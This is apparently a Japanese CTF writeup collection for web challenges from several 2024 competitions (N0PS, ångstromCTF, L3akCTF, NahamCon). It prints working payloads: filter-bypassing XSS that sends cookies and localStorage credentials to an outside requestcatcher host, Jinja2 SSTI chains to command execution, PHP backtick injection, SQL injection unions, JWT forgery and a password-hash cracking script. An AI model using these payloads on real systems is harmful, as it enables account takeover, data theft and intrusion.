これによりxss2=/bf2a73106a3aa48bab9b8b47e4bd350eというのが得られる。

XSS ME 2

Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:
def filter_2(payload):
return payload.lower().replace("script", "").replace("img", "").replace("svg", "")

フィルタが追加になった。st98さんのとこで見たonanimationendを使ってみる。img,scriptは1度しか消してないからimimggscrscriptiptにすればよい。

<imimgg src="https://[yours].requestcatcher.com/test"><scrscriptipt>fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie })</scrscriptipt>

xss3=/3e79c8a64bd10f5fa897b7832384f043が得られる。

XSS ME 3

Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:

def filter_3(payload):
    if "://" in payload.lower():
        return "Nope"
    if "document" in payload.lower():
        return "Nope"
    if "cookie" in payload.lower():
        return "Nope"
    return payload.lower().replace("script", "").replace("img", "").replace("svg", "")

https:////としても同じなので変更してしまい、document.cookieは配列のような参照と文字列分割を使ってthis['doc'+'ument']['coo'+'kie']に変更しよう。

<imimgg src="//[yours].requestcatcher.com/test"><scrscriptipt>fetch('//[yours].requestcatcher.com/flag', { method : 'post', body: this['doc'+'ument']['coo'+'kie'] })</scrscriptipt>

xss4=/f40e749b80cff27f8e726b2a95740dd6

XSS ME 4

Write a payload to be sent to the bot! Your goal is to steal his cookies.
You have to bypass this filter:

def filter_4(payload):
    if any(c in payload for c in '+"/'):
        return "Nope"
    if "://" in payload.lower():
        return "Nope"
    if "document" in payload.lower():
        return "Nope"
    if "cookie" in payload.lower():
        return "Nope"
    return payload.replace("script", "").replace("img", "").replace("svg", "")

追加で+"/の仕様が制限された。"'に変更すればよい。+/の変更が厄介だがimgタグのsrcはHTML Entityでエンコードすれば回避可能。後半のscriptタグは閉じタグが作れないので困った。自分のチートシートを見ながら色々試すと<iframe src='javascript:alert("XSS");'>が使えた。閉じタグが本来は必要だが、省略しても動いた。中のjavascript:...部分については、imgタグのsrcと同様にHTML Entityでエンコードすれば内容を回避可能。これで全部回避できるので、javascript:fetch('https://[yours].requestcatcher.com/flag', { method : 'post', body: document.cookie });をTo HTML Entityにして、iframeのsrcに入れて以下のようにまとめてやるとフラグが得られる。こんな感じ&input=amF2YXNjcmlwdDpmZXRjaCgnaHR0cHM6Ly9beW91cnNdLnJlcXVlc3RjYXRjaGVyLmNvbS9mbGFnJywgeyBtZXRob2QgOiAncG9zdCcsIGJvZHk6IGRvY3VtZW50LmNvb2tpZSB9KTs&oeol=CR)

<imimgg src='&sol;&sol;[yours]&period;requestcatcher&period;com&sol;test'><iframe src='&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&colon;&#102;&#101;&#116;&#99;&#104;&lpar;&apos;&#104;&#116;&#116;&#112;&#115;&colon;&sol;&sol;&lsqb;&#121;&#111;&#117;&#114;&#115;&rsqb;&period;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#99;&#97;&#116;&#99;&#104;&#101;&#114;&period;&#99;&#111;&#109;&sol;&#102;&#108;&#97;&#103;&apos;&comma;&#32;&lcub;&#32;&#109;&#101;&#116;&#104;&#111;&#100;&#32;&colon;&#32;&apos;&#112;&#111;&#115;&#116;&apos;&comma;&#32;&#98;&#111;&#100;&#121;&colon;&#32;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&period;&#99;&#111;&#111;&#107;&#105;&#101;&#32;&rcub;&rpar;&semi;'>

[Web] Get A Gift

ソースコード無し。ギフトコードの入力が求められる。The flag is N0PS{Valid-gift-code}がフラグの仕様。ギフトコードの仕様はクライアント側javascriptコードで以下のように検証されていた。

<script>
    document
    .getElementById("gift-form")
    .addEventListener("submit", function (e) {
        e.preventDefault();
        let code = document.getElementById("code").value;
        if (code.length == 0) {
        alert("Please enter your gift code!");
        return;
        }
        if (/[A-Z]{4}-[0-9]{4}-.{4,}/g.test(code) == false) {
        alert("Please enter a valid gift code!");
        return;
        }
        document.getElementById("gift-form").submit();
    });
</script>

placeholderで例示されているようにABDC-1234-aB@358vGのような感じ。入力するとThe code ABDC-1234-aB@358vG is invalid.という風にreflectされてきた。怪しい。色々試すと{{4*4}}{4*4}になって帰ってきた。フィルタリングの存在をguessして色々試すとABDC-1234-1234{% print "s" %}ABDC-1234-1234sと帰ってきた。ok.

このことからPythonのjinja2のSSTIができるみたいなので色々やる。色々やるとsubclassesが引っ張ってこれたのでwarningを経由してbuiltinsを持って来る方針を使う。ref

ガチャガチャやるとABCD-1234-1234-{% print [].__class__.__mro__[1] %}ABCD-1234-1234-<class 'object'>が帰ってくる。ok. ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__() %}でsubclassesを列挙して、warningを探す。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223] %}<class 'warnings.catch_warnings'>が帰るので223番目(0-indexed)にありますね。これを使えばABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__ %}のようにしてbuiltinsが得られるので、そこからimport経由でosパッケージを引っ張ってきてRCEする。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__.__import__("os").popen("ls").read() %}ディレクトリリスティングが確認できる。app.pyというのがあったのでこれを持って来るとソースコードが見られる。ABCD-1234-1234-{% print [].__class__.__mro__[1].__subclasses__()[223]()._module.__builtins__.__import__("os").popen("cat${IFS}app.py").read() %}のようにスペースを使うと失敗するので${IFS}に置換している。予想通りのフィルターが入っていた。code = re.sub("[ ]+", '', re.sub("[\}]+", '}', re.sub("[\{]+", '{', code)))ソースコードを眺めるとフラグとなるvalid_codeが定義されていて、フラグの形式に整形して提出すると正答。

ångstromCTF 2024 Writeups

https://ctftime.org/event/2375

[Web] spinner

ひたすらくるくるさせるサイトが与えられる。説明文によると1万回回転させるとフラグがもらえるようだ。ソースコードを見ると以下のような部分がある。

if (state.total >= 10_000 * 360) {
    state.flagged = true
    const response = await fetch('/falg', { method: 'POST' })
    element.textContent = await response.text()
}

ということで、以下のようにPOSTすればフラグがもらえる。

$ curl -X POST https://spinner.web.actf.co/falg
actf{■■■■■■■■■■■■■■■■■■■■■■}

[Web] markdown

ソースコード有り。XSSする問題。フラグの場所を確認すると、以下。

app.get('/flag', (req, res) => {
    const cookie = req.headers.cookie ?? ''
    res.type('text/plain').end(
        cookie.includes(process.env.TOKEN)
        ? process.env.FLAG
        : 'no flag for you'
    )
})

GET /flagの結果を取得するのがゴール。XSSできる所を探すと以下が見つかる。

app.post('/create', (req, res) => {
    const data = req.body.content ?? ''
    const id = crypto.randomBytes(8).toString('hex')
    posts.set(id, data)
    res.redirect(`/view/${id}`)
})

app.get('/content/:id', (req, res) => {
    const id = req.params.id
    const data = posts.get(id) ?? ''
    res.type('text/plain').end(data)
})

POST /createでデータを検証せずに入れて、GET /content/:idサニタイズせずに出力している。

<img src=1 onerror="
fetch('/flag').then(e=>e.text()).then(e=>{fetch('https://[yours].requestcatcher.com/out', { method : 'post', body: e })})
">

これを使えばGET /flagの中身をrequestcatcherに送信できる。これを中身にしたページを作り、Admin Botに送ってやればフラグが取得できる。

[Web] winds

ソースコード有り。

@app.post('/shout')
def shout():
    text = request.form.get('text', '')
    if not text:
        return redirect('/?error=No message provided...')

    random.seed(0)
    jumbled = list(text)
    random.shuffle(jumbled)
    jumbled = ''.join(jumbled)

    return render_template_string('''
        <link rel="stylesheet" href="/style.css">
        <div class="content">
            <h1>The windy hills</h1>
            <form action="/shout" method="POST">
                <input type="text" name="text" placeholder="Hello!">
                <input type="submit" value="Shout your message...">
            </form>
            <div style="color: red;">{{ error }}</div>
            <div>
                Your voice echoes back: %s
            </div>
        </div>
    ''' % jumbled, error=request.args.get('error', ''))

この部分にSSTI脆弱性がある。render_template_stringに渡す前のテンプレート部分にjumbledが差し込まれている。だが、jumbledはシャッフルされてしまう。しかし、よくよく見るとシャッフルに使われている乱数のシードは0で固定なので、どのようにシャッフルされるかを推測することができる。試すと0123456789 -> 7815342096なので、gcinfo}{{} -> {{config}}とやってみるとconfigが出力されてきた。あとは、以下のようにスクリプトを書いてRCEする。

import requests, random

def shuffle(text):
    random.seed(0)
    jumbled = list(text)
    random.shuffle(jumbled)
    return ''.join(jumbled)

def convert(payload):
    result = ''

    for i in range(len(payload)):
        tester = '*'*i + '!' + '*'*(len(payload) - i - 1)
        print(tester)
        to_idx = shuffle(tester).find('!')
        print(shuffle(tester))
        result += payload[to_idx]

    return result

print(convert("{{request.application.__globals__.__builtins__.__import__('os').popen('ls -lah').read()}}"))

[Web] store

ソースコード無し。検索できるサイトが与えられる。UI上は入力値の制限がかかっているが、BurpのRepeaterあたりを利用して直接色々打ち込んでいくと'An error occurred.と出る。SQL Injection問題のようだ。とりあえず色々すると' or 1=1 --で色々出てくる。更に色々試すとSQLiteが裏で動いていた。

なので、' or 1=1 union select '','',(SELECT group_concat(sql) FROM sqlite_master) --としてスキーマ情報を抜き

CREATE TABLE items (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        name TEXT,
        detail TEXT
    ),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE flags4be9c31bfb3df0f0d25ed2421f2447d0 ( flag TEXT)

最終的には' or 1=1 union select '','',(SELECT flag FROM flags4be9c31bfb3df0f0d25ed2421f2447d0) --でフラグ獲得

[Web] tickler

server.tsというソースコードのみ与えられる。Admin Botが与えられているのでXSSする問題。まずは、フラグの場所を確認しよう。

getFlag: authedProcedure.query(({ ctx }) => {
    if (tickles.get(ctx.user) !== Infinity) {
        return { success: false as const, message: 'Not enough tickles.' }
    }
    return { success: true as const, flag: process.env.FLAG }
}),

ここは/api/getFlagの処理場所であり、永遠にくすぐられているとフラグがもらえる。では、永遠にくすぐられるにはどうすればいいだろうか。/api/doTickleというのもあるが呼び出し毎に+1されるくらいなのでちょっと厳しい。探すとPOST /adminで無限にくすぐられるユーザーが払い出されていた。

if (route === '/admin') {
    if (process.env.ADMIN === undefined) return end()

    const body: Buffer[] = []
    req.on('data', (chunk) => body.push(chunk))
    await new Promise((resolve) => req.on('end', resolve))

    const data = Buffer.concat(body).toString()
    if (data !== process.env.ADMIN) return end()

    const username = crypto.randomBytes(16).toString('hex')
    const password = crypto.randomBytes(16).toString('hex')

    users.set(username, password)
    tickles.set(username, Infinity)

    res.setHeader('content-type', 'application/json')
    return res.end(JSON.stringify({ username, password }))

だが、これを呼び出すにはprocess.env.ADMINを渡す必要がある。しかし、このprocess.env.ADMINをプログラム上でここ以外に呼び出している所が無い。よって、別の手段で環境変数を漏洩させる必要があるのだが、フラグは環境変数process.env.FLAGにあるので環境変数が漏洩されればフラグが分かってしまう…?あまり気にしなくてもいいのかもしれない。

気を取り直して、XSSを探す。プロファイル画像のアップロード部分と表示方法が特殊なことに気が付く。

    setPicture: authedProcedure
        .input(z.object({ url: z.string() }))
        .mutation(async ({ input: { url }, ctx }) => {
            let response
            try {
                response = await fetch(url)
            } catch {
                return {
                    success: false as const,
                    message: 'Failed to fetch image.',
                }
            }

            if (!response.ok) {
                return {
                    success: false as const,
                    message: 'Failed to fetch image.',
                }
            }

            const reader = response.body?.getReader()
            if (reader === undefined) {
                return {
                    success: false as const,
                    message: 'No image data.',
                }
            }

            let size = 0
            const data = []
            while (true) {
                const { done, value } = await reader.read()
                if (done) break
                size += value.byteLength
                if (size > 1e6) {
                    return {
                        success: false as const,
                        message: 'Image too large.',
                    }
                }
                data.push(value)
            }

            const buffer = new Blob(data)
            const array = await buffer.arrayBuffer()
            const base64 = Buffer.from(array).toString('base64')
            pictures.set(ctx.user, {
                data: base64,
                type: response.headers.get('content-type') ?? 'image/png',
            })

            return { success: true as const }
        }),} else if (route === '/picture') {
        if (!url.includes('?')) return end()

        const query = new URLSearchParams(url.slice(url.indexOf('?')))
        const username = query.get('username')

        if (username === null) return end()

        const picture = pictures.get(username)
        if (picture === undefined) return end()

        const { data, type } = picture
        res.end(`data:${type};base64,${data}`)

特筆すべきは、content-typeをresponseから受け取り、それをそのままGET /picture?username=[username]で出力している部分である。これはうまく使えそう。…と思いsniffingを試すがうまくいかない。万策尽き、動的解析時に取得したクライアント側の/client.jsを眺めるとDOM-Based XSS箇所がある。

    "/login": async () => {
      const form = document.querySelector("form");
      const error = document.querySelector("p");
      const query = new URLSearchParams(window.location.search);
      if (query.has("error")) {
        error.innerHTML = query.get("error") ?? "";
      }
      form.addEventListener("submit", async (event) => {
        event.preventDefault();
        const username = form.elements.namedItem("n");
        const password = form.elements.namedItem("p");
        const result = await client.doLogin.mutate({
          username: username.value,
          password: password.value
        });
        if (!result.success) {
          error.textContent = `Login failed. ${result.message}`;
        } else {
          localStorage.setItem("username", username.value);
          localStorage.setItem("password", password.value);
          window.location.href = "/";
        }
      });
    },

ということで/login?error=<s>XSS</s>としてみるとHTMLが動いた。res.setHeader('content-security-policy', 'script-src \'self\'')というCSP設定があるのでストレートには動かない。しかし、先ほど死ぬほど試したpictureを利用した箇所を使えばjavascriptがホストできそうである。

先頭にdata:が付いてしまうが、ラベルとして認識してもらえばいいので、ok. まず、Content-Typeとしてalert(document.domain); //を返すエンドポイントを作成して、ngrokで公開しておく。次に、ユーザー作成・ログインして、以下のように/api/setPictureでアップロードする。

POST /api/setPicture HTTP/1.1
Host: tickler.web.actf.co
Content-Length: 59
Content-Type: application/json
Login: evilman:53039b57d8c94301b0ac6020564c0663

{"url":"https://b7f8-86-48-13-185.ngrok-free.app/payload2"}

これで/picture?username=evilmanにアクセスしてみると、data:alert(document.domain); //;base64,SGVsbG8sIHRoaXMgaXMgbWUuみたいになっているはずで、準備完了。これでDOM-Based XSSのある所で /login?error=%3Ciframe%20srcdoc=%22%3Cscript%20src=%27https://tickler.web.actf.co/picture?username=evilman%27%3E%3C/script%3E%22%3E%3C/iframe%3E のようにiframeでscriptをくるんで指定してやればドメインを含んでポップしてくる。XSS達成できることが分かる。(普通にscriptタグを入れてもDOM-Base XSSの場合は即時発火しないので注意)

cookieを抜いてみたが何もない。通信でLogin: evilman:53039b57d8c94301b0ac6020564c0663のようになっている箇所を思い出す。client.jsを改めて確認し、どこでこれを作っているか見てみる。

const username = localStorage.getItem("username");
const password = localStorage.getItem("password");

localStorageにあったので、これを抜いてくる。Content-Typeをfetch('https://[yours].requestcatcher.com/test', { method : 'post', body: JSON.stringify(localStorage) }); //にして踏ませると{"username":"d1c38f7ab137e144e89f638f533a26c1","password":"f7e1ded284886a0863d2ec880eff7167"}が帰ってくる。ok。

これでAdmin Botが使っている認証情報が得られたので管理者のものとして以下のように使ってみるとフラグ獲得。

GET /api/getFlag HTTP/1.1
Host: tickler.web.actf.co
Content-Length: 0
Content-Type: application/json
Login: d1c38f7ab137e144e89f638f533a26c1:f7e1ded284886a0863d2ec880eff7167

L3akCTF 2024 Writeup

https://ctftime.org/event/2322

[Web] I'm the CEO

ソースコード有り。htmxでできたNoteサイトが与えられる。botをまずは見てみる。以下のようにflagをcookieに入れているので、XSScookieを抜いてやればよさそう。

// Set Flag
await page.setCookie({
    name: "flag",
    httpOnly: false,
    value: CONFIG.APPFLAG,
    domain: CONFIG.APPHOST
})
let cookies = await page.cookies()
console.log(cookies);
// Visit URL from user
console.log(`bot visiting ${urlToVisit}`)
await page.goto(urlToVisit, {
    waitUntil: 'networkidle2'
});
await sleep(8000);
cookies = await page.cookies()
console.log(cookies);

XSSできそうなポイントを探すと普通にXSSのpayloadでNoteを投稿すると動く。<img src=x onerror=alert(document.domain)> htmxってanti-XSS defaultではないのか。

<img src=x onerror="fetch('https://[yours].requestcatcher.com/test', { method : 'post', body: document.cookie })">

ともあれ、これを使ってNoteを作ってAdmin botに踏ませるとフラグが得られる。

https://htmx.org/essays/htmx-sucks/

おもろい。

[Web] Simple calculator

ソースコード有り。中身は簡潔で、フィルターを回避してphpコードのコマンドインジェクションする。

<?php

function popCalc() {
    if (isset($_GET['formula'])) {
        $formula = $_GET['formula'];
        if (strlen($formula) >= 150 || preg_match('/[a-z\'"]+/i', $formula)) {
            return 'Try Harder !';
        }
        try {
            eval('$calc = ' . $formula . ';');
            return isset($calc) ? $calc : '?';
        } catch (ParseError $err) {
            return 'Error';
        }
    }
}

$result = popCalc();
echo "Result: " . $result;

?>

a-z\'"が使えないという条件。紆余曲折してphp jailしていたが、本質はそこではなく、`が使えるという部分。これを使えばshellを呼べるので`ls -la`みたいなやつを入れ込むことを考える。コマンド自体はそのままでは書けないので、Octal表現、8進数表現で記載することにする。

https://gchq.github.io/CyberChef/#recipe=To_Octal('Space')Find/Replace(%7B'option':'Simple%20string','string':'%20'%7D,'%5C%5C',true,false,true,false)&input=bHMgLWxh

こんな感じで用意して先頭に/を付けた`\154\163\40\55\154\141`を動かすとls -laできる。

total 16
dr-xr-xr-x 1 www-data www-data 4096 May 24 08:51 .
drwxr-xr-x 1 root     root     4096 Nov 15  2022 ..
-r--r--r-- 1 root     root       23 May 24 08:46 flag-eucmCjFHC1oimI0d9XxT7JzANCVOhrFX2OVdy8NxGQ3aPxDLd4WwwQ82eMKlRZBy.txt
-r-xr-xr-x 1 root     root      467 May 24 08:46 index.php

良い感じ。cat flag-*.txtでフラグ獲得。

`\143\141\164\40\146\154\141\147\55\52\56\164\170\164`

[Web] BatBot

Discordのbotソースコードが与えられる。L3akCTFの公式DiscordにBatBot君がいるので話しかけてみる。

hamayanhamayan — 今日 18:44
!help

BatBot — 今日 18:44
Help Command:
 !help (Shows this message)
 !verify token  (Authenticate with a JWT token)
 !generate (Generate a JWT Token for you)

JWTトークンを検証するもの。検証のソースコードは以下。

@bot.command(name='verify')
async def authenticate(ctx, *, token=None):
    try:
        if isinstance(ctx.channel, discord.DMChannel) == False:
            await ctx.send("I can't see here 👀 , DM me")
        else:
            result = verify_jwt(token)
            print(ctx.author)
            print(result)
            if isinstance(result, dict):
                username = result.get('username')
                role = result.get('role')
                if username and role=='VIP':
                    await ctx.send(f'Welcome Sir! Here is our secret {flag}')
                elif username:
                    await ctx.send(f'Welcome {username}!')
                else:
                    await ctx.send('Authentication failed. Please try again.')
            else:
                await ctx.send('Authentication failed.')
    except:
        await ctx.send('Authentication failed.')

roleがVIPであればフラグがもらえる。verify_jwtを見てみる。

def verify_jwt(token):
    try:
        header = jwt.get_unverified_header(token)
        kid = header['kid']
        assert ("/" not in kid)
        with open(kid, 'r') as file:
            secret_key = file.read().strip()
        decoded_token = jwt.decode(token, secret_key, algorithms=['HS256'])
        return decoded_token
    except Exception as e:
        return str(e)

kidからファイルを読み込んで秘密鍵としている。assert ("/" not in kid)というのがあり、/dev/nullを使う常套テクは使えない。『既知の』良い感じのファイルが無いか考えると、bot.pyが使えそうと気が付く。以下のように、kidとしてbot.pyを使ってJWTトークンを作り、!verify [token]を投げるとフラグがもらえる。

import jwt
import os

with open('src/BatBot/bot.py', 'r') as file:
    secret_key = file.read().strip()
headers = {
    'kid': 'bot.py'
}
token = jwt.encode({'username': 'hamayanhamayan','role' : 'VIP'}, secret_key, algorithm='HS256',headers=headers)
print(token)

[Web] bbsqli

ソースコード有りで、SQL Injectionできるサイトが与えられる。SQL Injectionできる箇所はここ。

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
       try: 
        username = request.form['username']
        password = request.form['password']
        conn = get_db_connection()
        cursor = conn.cursor()
        cursor.execute(f'SELECT username,email,password FROM users WHERE username ="{username}"')
        user = cursor.fetchone()
        conn.close()
        if user and user['username'] == username and user['password'] == hash_password(password):
            session['username'] = user['username']
            session['email'] = user['email']
            return redirect(url_for('dashboard'))
        else:
            return render_template('login.html', error='Invalid username or password')
       except:
           return render_template('login.html', error='Invalid username or password')
    return render_template('login.html')

確かに入力がそのまま移っている。フラグの入り方は以下のような感じ。

def add_flag(flag):
    conn = get_db_connection()
    cursor = conn.cursor()
    cursor.execute('INSERT INTO flags (flag) VALUES (?)', (flag,))
    conn.commit()
    conn.close()

SQL Injectionの発生自体は普通だが、そのあとの検証で情報を抜き出してくるにはuser['username'] == username and user['password'] == hash_password(password)をtrueにする必要がある部分があり、そこが難しい。Blindで情報を抜き出す際にも応答の差を生み出す必要があるので上記の条件は何とかする必要がある。

結論から言うとQuineという構造を作り出す必要がある。usernameでSQL Injectionを引き起こす必要があるが、その出力のusernameに入力と同じものを出力させる必要がある。このように入力と出力が一致するような構造をQuineと呼び、面白パズルの1つ。以下のような入力をusernameに入れると出力のusernameに同じものが出てきて、emailには(SELECT flag FROM flags)の結果が入り、passwordには122のmd5ハッシュであるa0a080f42e6f13b3a2df133f073095ddが入る。

" UNION SELECT REPLACE(REPLACE("' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -",CHAR(39),CHAR(34)),CHAR(36),"' UNION SELECT REPLACE(REPLACE('$',CHAR(39),CHAR(34)),CHAR(36),'$') AS username, (SELECT flag FROM flags) AS email, 'a0a080f42e6f13b3a2df133f073095dd' AS password -- ' -- -") AS username, (SELECT flag FROM flags) AS email, "a0a080f42e6f13b3a2df133f073095dd" AS password -- " -- -

よって、以上をusername、passwordを122とするとログインができ、emailに希望のSQL文の結果が入るので、ログイン後にフラグを読み取ることができる。

NahamCon CTF 2024 Writeups

https://ctftime.org/event/2364

[Web] iDoor

ソースコード無し。アクセスしてみるとGET /4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8という先にアクセスしている。タイトルからIDORを探すのだろう。ということは、このhex列は何か0とか1とかそういったものを指すのだろう。ハッシュ値であると推測をしてCrackStationに渡してみるとHITする。

Hash Type    Result
4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8    sha256  11

1をsha256にした/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4bPにアクセスしてみると、何かのwebカメラの映像が見える。ok.色々試して0をsha256にしたGET /5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9でフラグが得られた。

[Web] HelpfulDesk

ソースコード無しだが、アクセスしてみるとソースコードが配布されている。セキュリティアップデートが要求されているが、まだ適用されていないサイトのようだ。フッターを見ると© 2024 HelpfulDesk - Version 1.1とあり、バージョンは1.1。セキュリティ対応がなされているのはバージョン1.2なので、なんらかの脆弱性があるらしい。どちらのバージョンのソースコードも配布されているのでdiffを見てみよう…と思ったが、面倒なことにdllで配布されている… だが、diffを取ることでHelpfulDesk.dllに変更があることが分かるので、このソースコードを比較しよう。

SetupControllerに差分があった

using System;
using System.Collections.Generic;
using System.IO;
using System.Runtime.CompilerServices;
using System.Text.Json;
using HelpfulDesk.Models;
using HelpfulDesk.Services;
using Microsoft.AspNetCore.Mvc;

namespace HelpfulDesk.Controllers
{
    // Token: 0x0200001F RID: 31
    [NullableContext(1)]
    [Nullable(0)]
    public class SetupController : Controller
    {
        // Token: 0x060000F9 RID: 249 RVA: 0x000041AC File Offset: 0x000023AC
        public IActionResult SetupWizard()
        {
            if (System.IO.File.Exists(this._credsFilePath))
            {
                string requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');
                if (requestPath.Equals("/Setup/SetupWizard", StringComparison.OrdinalIgnoreCase))
                {
                    return this.View("Error", new ErrorViewModel
                    {
                        RequestId = "Server already set up.",
                        ExceptionMessage = "Server already set up.",
                        StatusCode = 403
                    });
                }
            }
            return this.View();
        }

        // Token: 0x060000FA RID: 250 RVA: 0x0000422C File Offset: 0x0000242C
        [HttpPost]
        public IActionResult SetupWizard(string username, string password)
        {
            string filePath = Path.Combine(Directory.GetCurrentDirectory(), "credentials.json");
            List<AuthenticationService.UserCredentials> credentials = new List<AuthenticationService.UserCredentials>
            {
                new AuthenticationService.UserCredentials
                {
                    Username = username,
                    Password = password,
                    IsAdmin = true
                }
            };
            string json = JsonSerializer.Serialize<List<AuthenticationService.UserCredentials>>(credentials, null);
            System.IO.File.WriteAllText(filePath, json);
            return this.RedirectToAction("SetupComplete");
        }

        // Token: 0x060000FB RID: 251 RVA: 0x00004289 File Offset: 0x00002489
        public IActionResult SetupComplete()
        {
            return this.View();
        }

        // Token: 0x0400009F RID: 159
        private readonly string _credsFilePath = "credentials.json";
    }
}

これはバージョン1.2のもの。バージョン1.1だとstring requestPath = base.HttpContext.Request.Path.Value.TrimEnd('/');string requestPath = base.HttpContext.Request.Path.Value;になっていた。つまり末尾にスラッシュを入れることでその後の確認がbypassできるようである。

ということで/Setup/SetupWizardにアクセスしてみる。すると、403エラーとともにException Message: Server already set up.と言われる。ソースコード通りですね。今回は脆弱なバージョンなので/Setup/SetupWizard/にしてみると、Setup Wizardが立ち上がり、管理者の認証情報を設定する画面が表示される。適当に設定すると管理者アカウントの認証情報が上書きでき、ログインすることができる。ログイン後は適当に巡回すると最終的にはGET /Dashboard/DownloadFile?fileName=flag.txtでフラグが手に入る。

[Web] All About Robots

ソースコード無し。問題文に従い、robots.txtを見てみよう。/robots.txt

User-agent: *
Disallow: /open_the_pod_bay_doors_hal_and_give_me_the_flag.html

ということで/open_the_pod_bay_doors_hal_and_give_me_the_flag.htmlにアクセスするとフラグが手に入る。

[Web] Hacker Web Store

ソースコードは無いが、password_list.txtというファイルが与えられる。

This challenge may require a local password list, which we have provided below. Reminder, bruteforcing logins is not necessary and against the rules.

とあるのでログインブルートフォースには使わないらしい。webサイトにアクセスしてみるとsessionのCookieがもらえる。

Set-Cookie: session=.eJxNy0EKgCAQQNG7zFoSDBK6jIzNiJJpNbOL7p7Llg_-fyCkmyXDmrAKG6AYTtRhsLkfbDdNVlik9BYIFSMO2TjP7Mk7t1AKFCe5alEGA9p3bmP-B_B-Gq0iIA.ZlBUWw.-DtXEWxUSPXj4Qcf72WWmS4V7Fs; HttpOnly; Path=/

websiteのタイトルからFlaskが使われているので、Flaskのセッションだろう。ここから色々やると、POST /createにてSQL Injectionが見つかる。name=s&price='&desc=sを送ると、Set-Cookie: session=.eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c; HttpOnly; Path=/というcookieが帰ってきて、flask-unsignを使って中身を見ると

$ flask-unsign -d -c ".eJxljsFKxEAMhl8l5DK7MFjYBRfqyUMPgqjY1Yu7lLST2mI7s04iKMu-u-lN8JKPH_7kyxmbfiIZWLB8OyOoAWcWoXdGj1XOKcMYoVZSnjlqCXcPdfW8N-wf4Smn8NWpwCrSzB5OeewMgaVbw-vt_UtVw8qJ8-DcMsStb_B48f9NkSnDAeWAJchPVPoGXuTWPnp7MrMMWPY0CXsMbXMitYzFkGYuOu0LsVNjik0gpZYsFe12y7uw22yuQ9-E9ko-p1EXl6YPjrb8t4CXX5DEVYM.ZlBWqg.DDnZHUfpnHE6gjnklNT1nlf088c"
{'_flashes': [('message', "Error in Statement: INSERT INTO Products (name, price, desc) VALUES ('s', ''', 's');"), ('message', 'near "s": syntax error')], '_fresh': False, 'db_path': '/home/ctf/session_databases/b33e7d7226df_db.sqlite', 'token': 'b33e7d7226df'}

良い感じにエラーが出ている。INSERT文をうまく使って情報を抜き出すことができる。スキーマ構造を抜き出してみよう。', (SELECT group_concat(sql) FROM sqlite_master)); --をpriceに入れてみる。

CREATE TABLE users (
        id INTEGER NOT NULL,
        name VARCHAR(100),
        password VARCHAR(100) NOT NULL,
        PRIMARY KEY (id)
),CREATE TABLE products (
        id INTEGER NOT NULL,
        name VARCHAR(100) NOT NULL,
        price INTEGER,
        &#34;desc&#34; TEXT,
        PRIMARY KEY (id)
)

いいですね。', (SELECT group_concat(name) FROM users)); --とするとJoram,James,website_admin_account。そして', (SELECT group_concat(password) FROM users)); --とすると

pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34,
pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b,
pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57

と出てくる。やっと辞書を使いそうな局面に来ました。これと配布されているpassword_list.txtを使ってパスワードクラックする。これはFlaskのwerkzeugで使われるパスワードハッシュであり、以下のスクリプトでクラックした。

from werkzeug.security import generate_password_hash, check_password_hash

hashes = [
    'pbkdf2:sha256:600000$m28HtZYwJYMjkgJ5$2d481c9f3fe597590e4c4192f762288bf317e834030ae1e069059015fb336c34',
    'pbkdf2:sha256:600000$GnEu1p62RUvMeuzN$262ba711033eb05835efc5a8de02f414e180b5ce0a426659d9b6f9f33bc5ec2b',
    'pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57',
]

with open('password_list.txt', 'r') as file:
    for password in file.readlines():
        password = password.strip()

        cnt = 0
        for hashed in hashes:
            if check_password_hash(hashed, password):
                print(f'[FOUND] {hashed} -> {password}')
            cnt += 1

結構時間がかかるので待つと出てくる。

$ python3 crack.py 
[FOUND] pbkdf2:sha256:600000$MSok34zBufo9d1tc$b2adfafaeed459f903401ec1656f9da36f4b4c08a50427ec7841570513bf8e57 -> ntadmin1234

ということでwebsite_admin_account:ntadmin1234でログインするとフラグが得られる。

[Web] Thomas DEVerson

